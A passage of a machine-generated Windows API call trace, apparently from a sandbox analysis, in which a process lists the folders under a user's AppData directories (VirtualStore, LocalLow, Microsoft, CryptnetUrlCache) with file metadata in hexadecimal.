ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.edb", cAlternateFileName="VEDATA~1.EDB")) returned 0 [0223.574] FindClose (in: hFindFile=0x1d1f40f0 | out: hFindFile=0x1d1f40f0) returned 1 [0223.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0223.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0223.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0223.574] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x30 [0223.574] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\virtualstore\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4810 [0223.575] FindNextFileW (in: hFindFile=0x1d1f4810, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.575] FindNextFileW (in: hFindFile=0x1d1f4810, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0223.575] FindClose (in: hFindFile=0x1d1f4810 | out: hFindFile=0x1d1f4810) returned 1 [0223.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0223.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0223.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0223.575] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x30 [0223.575] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\virtualstore\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4810 [0223.576] FindNextFileW (in: hFindFile=0x1d1f4810, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.576] FindNextFileW (in: hFindFile=0x1d1f4810, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0223.576] FindClose (in: hFindFile=0x1d1f4810 | out: hFindFile=0x1d1f4810) returned 1 [0223.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0223.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0223.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0223.576] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow", lpFilePart=0x0) returned 0x26 [0223.576] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb529ceaa, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4bd0 [0223.577] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb529ceaa, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.577] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4f14c05a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4f14c05a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0223.577] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0223.577] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0223.578] FindClose (in: hFindFile=0x1d1f4bd0 | out: hFindFile=0x1d1f4bd0) returned 1 [0223.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da90) returned 1 [0223.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da50) returned 1 [0223.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0223.599] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow", lpFilePart=0x0) returned 0x26 [0223.599] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb529ceaa, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5290 [0223.601] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb529ceaa, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.601] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4f14c05a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4f14c05a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0223.601] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0223.602] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.602] FindClose (in: hFindFile=0x1d1f5290 | out: hFindFile=0x1d1f5290) returned 1 [0223.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da90) returned 1 [0223.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da50) returned 1 [0223.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0223.602] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x30 [0223.602] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4f14c05a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4810 [0223.603] FindNextFileW (in: hFindFile=0x1d1f4810, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4f14c05a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.614] FindNextFileW (in: hFindFile=0x1d1f4810, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4f14c05a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4f14c05a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0223.614] FindNextFileW (in: hFindFile=0x1d1f4810, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfd867ea8, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0223.615] FindNextFileW (in: hFindFile=0x1d1f4810, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfd867ea8, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0223.615] FindClose (in: hFindFile=0x1d1f4810 | out: hFindFile=0x1d1f4810) returned 1 [0223.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0223.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0223.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0223.615] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x30 [0223.615] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfd867ea8, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5470 [0223.616] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfd867ea8, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.616] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4f14c05a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4f14c05a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0223.616] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfd867ea8, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0223.616] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.616] FindClose (in: hFindFile=0x1d1f5470 | out: hFindFile=0x1d1f5470) returned 1 [0223.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0223.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0223.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0223.617] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x41 [0223.617] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\cryptneturlcache\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4f14c05a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4f14c05a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f49f0 [0223.617] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4f14c05a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4f14c05a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.618] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0223.618] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0223.618] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0223.618] FindClose (in: hFindFile=0x1d1f49f0 | out: hFindFile=0x1d1f49f0) returned 1 [0223.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0223.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0223.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0223.618] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x41 [0223.618] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\cryptneturlcache\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4f14c05a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4f14c05a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f49f0 [0223.619] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4f14c05a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4f14c05a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.619] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0223.619] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0223.619] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, 